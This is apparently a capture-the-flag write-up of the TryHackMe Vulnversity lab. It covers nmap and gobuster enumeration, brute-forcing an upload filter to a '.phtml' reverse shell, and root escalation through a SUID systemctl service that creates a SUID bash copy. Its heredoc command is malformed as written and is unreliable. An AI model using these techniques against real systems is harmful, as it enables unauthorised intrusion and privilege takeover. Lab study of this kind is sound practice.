TryHackMe:Vulnversity

after scanning we have some results so we will see what we have in here, we will move and make verbose scan (-vvvv)-verbose level 4. full command: [nmap -sCV -p21,22,139,445,3128,3333 -T5 10.114.135.67].

after that scan we have some good news, which is ftp and two web servers with known service. so we know that this machine has webserver.

there was nothing on 3128 port and we moved on 3333 and we have results

now we need enumeration which i made and had no results so now we need gobuster because robots.txt and sitemap.xml had nothing.

full command: [gobuster dir -u http://10.114.135.67:3333/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 60].

after crawling we have some window which allows us to upload file

but not with ".php" extension we need to brute force with extension payload (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst) that is an extension list which is useful to brute force this.

this gives us different response size and we will also brute force them and in second attack there will be result and it is ".phtml". now we will upload it and then open netcat. after upload that was the url which is just path for execute[http://10.114.135.67:3333/internal/uploads/reverse-shell.phtml].

in here we just need some privilege so we will use this command[find / -type f -perm -4000 2>/dev/null].

here is result "/bin/systemctl" this is not casual for system in that command result. so after this we will move on "gtfobins.org".

now we need command for privilege

this was wrong so i returned online and found that script should be different. we should make environment like that "(XF=$(mktemp).service)"

this also was wrong so i made EOF file

cat < /tmp/myservice.service [Service] Type=oneshot ExecStart=/bin/sh -c "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" [Install] WantedBy=multi-user.target EOF

that is script which is creating file

now we will make link and enable operation with persistent operation and we will take root